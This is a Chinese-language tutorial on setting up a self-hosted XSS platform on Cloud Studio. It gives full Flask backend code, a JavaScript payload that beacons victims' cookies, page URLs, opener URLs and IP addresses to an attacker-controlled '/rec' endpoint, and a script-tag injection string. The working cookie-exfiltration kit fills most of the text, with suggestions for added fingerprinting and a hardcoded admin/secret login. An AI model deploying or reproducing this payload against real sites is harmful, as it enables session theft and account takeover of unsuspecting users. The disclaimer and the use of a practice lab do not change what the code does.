零成本搭建个人专属XSS平台
字数 1638 2025-08-15 21:31:29
零成本搭建个人专属XSS平台 - 详细教学文档
0x00 背景与概述
本教学文档将详细介绍如何零成本搭建一个个人专用的XSS平台。与公共XSS平台相比,个人平台具有以下优势:
- 完全控制脚本内容和功能
- 避免公共平台的性能瓶颈和加载延迟
- 防止后台数据泄露风险
- 可根据需求自由扩展功能
技术组件
- Cloud Studio:Coding旗下的云端开发环境,支持动态页面托管
- Python 2.7/3.5+Flask:轻量级Web框架
- JavaScript:基于BlueLotus_XSSReceiver平台的代码进行扩展
0x01 核心原理与代码
平台由两个核心文件组成:
1. app.py (Flask后端)
# -*- coding: utf-8 -*-
from flask import Flask
from flask import render_template
from flask import request
import os
import datetime
APP_ROOT = os.path.dirname(os.path.abspath(__file__))
TXT_PATH = os.path.join(APP_ROOT, 'templates')
app = Flask(__name__)
@app.route('/')
def xss():
return render_template('xss.js')
@app.route('/rec')
def rec():
x=request.args
ip=request.headers.getlist("X-Forwarded-For")[0]
with open(os.path.join(TXT_PATH, 'text.txt'), 'a+') as f:
f.write('\n')
print 'ok'
f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'\n')
f.write('ip: '+ip+'\n')
f.write('location: '+x['location']+'\n')
f.write('toplocation: '+x['toplocation']+'\n')
f.write('cookie: '+x['cookie']+'\n')
f.write('opener: '+x['opener']+'\n')
return 'ok'
if __name__ == '__main__':
app.run(host='0.0.0.0')
2. xss.js (前端利用脚本)
var website = "https://(个人域名)/rec";
(function() {
(new Image()).src = website +
'?location=' + escape((function() {
try {
return document.location.href;
} catch (e) {
return '';
}
})()) +
'&toplocation=' + escape((function() {
try {
return top.location.href;
} catch (e) {
return '';
}
})()) +
'&cookie=' + escape((function() {
try {
return document.cookie;
} catch (e) {
return '';
}
})()) +
'&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
} catch (e) {
return '';
}
})());
})();
工作原理
- 受害者访问包含XSS漏洞的页面,执行恶意脚本:
<script src="https://(个人域名)"></script> - 浏览器加载并执行xss.js
- JS脚本收集以下信息:
- 当前页面URL (location)
- 顶层窗口URL (toplocation)
- Cookie信息
- Opener窗口信息
- 通过Image对象发送GET请求到/rec端点,携带收集的信息
- Flask后端接收请求,将数据写入text.txt文件
0x02 详细部署步骤
1. 准备工作
- 访问Coding.net注册账号
- 完成实名认证(发布网站需要)
2. 创建Cloud Studio工作空间
- 登录Coding后,点击右侧"Cloud Studio"进入工作空间
- 点击"新建工作空间"
- 设置工作空间名称为"XssPlatform"
- 预置环境选择"Ubuntu 18.04"
- 代码来源选择"空"
- 点击"进入"按钮
3. 初始化环境
- 进入工作空间后,选择"Python Demo"
- 记录安装命令(后续会用到):
cat requirements.txt | xargs sudo pip install -i http://pypi.douban.com/simple --trusted-host pypi.douban.com && python app.py - 安装pip(如果未安装):
apt-get update apt-get upgrade apt-get install python-pip
4. 配置平台
- 创建app.py文件,粘贴提供的代码
- 在templates目录下创建xss.js文件,粘贴提供的JS代码
- 修改xss.js中的域名为你将获得的预览URL
5. 运行平台
- 执行安装命令:
cat requirements.txt | xargs sudo pip install -i http://pypi.douban.com/simple --trusted-host pypi.douban.com && python app.py - 启动预览:
- 按下Ctrl+Shift+P打开命令面板
- 输入"preview",选择"Open Preview Tab"
- 选择"我的第一个python项目"
- 记录生成的预览URL
6. 测试平台
- 使用Pikachu漏洞靶场进行测试
- 在反射型XSS(POST)测试页面输入:
<script src="你的预览URL"></script> - 提交后检查text.txt文件是否记录了相关信息
0x03 注意事项与限制
-
使用限制:
- Cloud Studio每天最多只能运行4小时
- 关闭工作空间后无法访问平台
- 需要保持Cloud Studio会话活跃
-
安全注意事项:
- 本平台仅用于合法安全测试和研究
- 请勿用于非法渗透测试或攻击行为
- 收集的数据应妥善保管,防止泄露
-
扩展建议:
- 可以添加更多信息收集功能
- 考虑添加数据加密功能
- 可以集成邮件通知功能
- 可扩展为CSRF攻击测试平台
0x04 进阶配置
1. 自定义数据收集
修改xss.js可以添加更多信息收集功能,例如:
'&useragent=' + escape(navigator.userAgent) +
'&screensize=' + escape(screen.width + 'x' + screen.height) +
'&plugins=' + escape(JSON.stringify(navigator.plugins));
2. 持久化存储
考虑使用数据库替代文本文件存储:
import sqlite3
# 在rec函数中添加数据库操作
conn = sqlite3.connect('xss.db')
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS data
(date text, ip text, location text, toplocation text, cookie text, opener text)''')
c.execute("INSERT INTO data VALUES (?,?,?,?,?,?)",
(datetime.now(), ip, x['location'], x['toplocation'], x['cookie'], x['opener']))
conn.commit()
conn.close()
3. 安全增强
添加基本认证:
from flask_httpauth import HTTPBasicAuth
auth = HTTPBasicAuth()
@auth.verify_password
def verify_password(username, password):
return username == 'admin' and password == 'secret'
@app.route('/rec')
@auth.login_required
def rec():
# 原有代码
0x05 故障排除
-
pip安装失败:
- 确保已执行apt-get update
- 尝试更换pip源:
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple package_name
-
Flask运行错误:
- 检查Python版本:
python --version - 确保已安装所有依赖:
pip install flask
- 检查Python版本:
-
无法访问预览URL:
- 确保app.py正在运行
- 检查防火墙设置
- 尝试重新生成预览
-
数据未记录:
- 检查templates目录权限
- 确保text.txt文件可写
- 检查xss.js中的URL是否正确
通过以上详细步骤,您可以成功搭建一个功能完善的个人XSS平台,用于安全研究和测试目的。请始终遵守法律法规和道德准则。